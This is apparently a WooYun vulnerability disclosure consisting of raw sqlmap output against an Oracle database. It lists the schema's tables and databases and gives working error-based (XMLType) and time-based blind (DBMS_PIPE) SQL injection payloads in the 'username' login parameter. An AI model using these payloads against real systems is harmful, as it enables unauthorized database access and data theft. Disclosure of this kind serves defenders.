WooYun.org

Database: CSMP
[131 tables]
+---------------------------+
| BLOBTEST                  |
| CLOBTEST                  |
| COUNTVISITS               |
| GH_AREADECLARE            |
| GH_AREAPLANNING           |
| GH_BASISCOMPILATION       |
| GH_DECLARE                |
| GH_DICT                   |
| GH_FACILITIES             |
| GH_FACILITIESLEVEL        |
| GH_OTHERINFO              |
| GH_PLANNINGCHILD          |
| JC_AREAOFOWNERSHIP        |
| JC_BALANCEPAYMENTS        |
| JC_SCENIC                 |
| JC_SMINFO                 |
| JC_STAFF                  |
| JC_SUPINFO                |
| JC_TOURIST                |
| JC_VILLAGE                |
| JG_LOCATION               |
| JG_POLYGONS               |
| JG_REPORTED               |
| JG_REVIEW                 |
| JG_SUBLOCATION            |
| JG_TRIAL                  |
| JG_TUBAN                  |
| JIVEFORUM                 |
| JIVEFORUMPROP             |
| JIVEGROUP                 |
| JIVEGROUPPERM             |
| JIVEGROUPPROP             |
| JIVEGROUPUSER             |
| JIVEID                    |
| JIVEMESSAGE               |
| JIVEMESSAGEPROP           |
| JIVEMODERATION            |
| JIVEREWARD                |
| JIVETHREAD                |
| JIVETHREADPROP            |
| JIVEUSER                  |
| JIVEUSERPERM              |
| JIVEUSERPROP              |
| JIVEWATCH                 |
| KBNB_HOLIDAYSMONTHSREPORT |
| KBNB_PROJECTSTATISTICS    |
| KBNB_YEARSREPORT          |
| PLAN_TABLE                |
| TBBCCOLUMN                |
| TBBCCOLUMNBAK             |
| TBBCCONFIG                |
| TBBCFRIEND                |
| TBBCOPERATION             |
| TBBCPOWER                 |
| TBBCSCOLUMN               |
| TBBCSMPERSON              |
| TBBCSMUNIT                |
| TBBCSMUNIT2011            |
| TBBCSMUNIT_INTERFACE      |
| TBBCSMUNIT_SCZSI_ORI      |
| TBBCSMUNIT_TOURISTSVOLUME |
| TBBCSUSERCOLUMNPOWER      |
| TBBCUSER                  |
| TBBCUSERCOLUMNPOWER       |
| TBBCUSERPOWER             |
| TBBWANNUALREPORT          |
| TBBWANNUALRT              |
| TBBWAROFCONSTRUCT         |
| TBBWAROFDEAL              |
| TBBWAROFMANAGE            |
| TBBWAROFUNIT              |
| TBBWATTACHMENT            |
| TBBWDIFFPLOTRECORDS       |
| TBBWDISCUSS               |
| TBBWFASTREPORT            |
| TBBWFILEEXCHANGE          |
| TBBWGOLDENFASTREPORT      |
| TBBWIMPEACH               |
| TBBWIMPEACHFEEDBACK       |
| TBBWMATDOWNLOAD           |
| TBBWNEWS                  |
| TBBWSNEWS                 |
| TBDWAPPLYTYPE             |
| TBDWARSTATUS              |
| TBDWARTYPE                |
| TBDWATTACHMENTTYPE        |
| TBDWBUSSINESSTYPE         |
| TBDWEXCHANGETYPE          |
| TBDWFRSTATUS              |
| TBDWFRTYPE                |
| TBDWGFRSTATUS             |
| TBDWGFRTYPE               |
| TBDWIMPEACHTYPE           |
| TBDWNEWSSTATUS            |
| TBDWOPERATOR              |
| TBDWPLOTPROP              |
| TBDWPRJTYPE               |
| TBDWPROVINCE              |
| TBDWSCTYPE                |
| TBDWSMOBJTYPE             |
| TBDWSMRESULTTYPE          |
| TBDWSMTREATTYPE           |
| TBDWSMTYPE                |
| TBDWSMUNITTYPE            |
| TBDWSOPERATOR             |
| TBDWSTATUS                |
| TBDWUSERTYPE              |
| XMJS_EXPERTSOPINION       |
| XMJS_PROJECTBASEINFO      |
| XMJS_PROJECTBUILD         |
| XMJS_PROVINCEREPORTED     |
| XT_RESC                   |
| XT_USERRESC               |
| XT_USERRESC666            |
| YC_HERITAGE               |
| YC_HERITAGEAPPLAY         |
| YC_HERITAGECHILD          |
| YC_HERITAGECHILDDOC       |
| YC_HERITAGECHILDTYPE      |
| YC_HERITAGEHOLIDAYS       |
| YC_HERITAGEHOLIDAYSDETAIL |
| YC_HERITAGELOCATION       |
| YC_HERITAGEREADY          |
| YC_HERITAGETOSCENIC       |
| YC_HERITAGEUPLOAD         |
| ZW_DECLARE                |
| ZYHZ_INFO                 |
| ZYHZ_MSGM_INFO            |
| ZYHZ_RWZY_GRADE           |
| ZYHZ_ZRZY_GRADE           |
| ZYHZ_ZRZY_TYPE            |
+---------------------------+
[11:50:46] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 134 times
[11:50:46] [INFO] fetched data logged to text files under 'C:\Users\KING\.sqlmap\output\**.**.**.**'
[*] shutting down at 11:50:46

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: username (POST)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: username=aaaa' AND 8819=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(107)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (8819=8819) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(118)||CHR(120)||CHR(113)||CHR(62))) FROM DUAL)-- aHGR&password=aaa
    Type: AND/OR time-based blind
    Title: Oracle OR time-based blind
    Payload: username=aaaa' OR 1967=DBMS_PIPE.RECEIVE_MESSAGE(CHR(111)||CHR(122)||CHR(102)||CHR(116),5)-- DkDJ&password=aaa
---
[11:52:11] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[11:52:11] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[11:52:11] [INFO] fetching database (schema) names
[11:52:11] [INFO] the SQL query used returns 25 entries
available databases [25]:
[*] CSMP
[*] CTXSYS
[*] HR
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB
[11:52:11] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[11:52:11] [INFO] fetched data logged to text files under 'C:\Users\KING\.sqlmap\output\**.**.**.**'
[*] shutting down at 11:52:11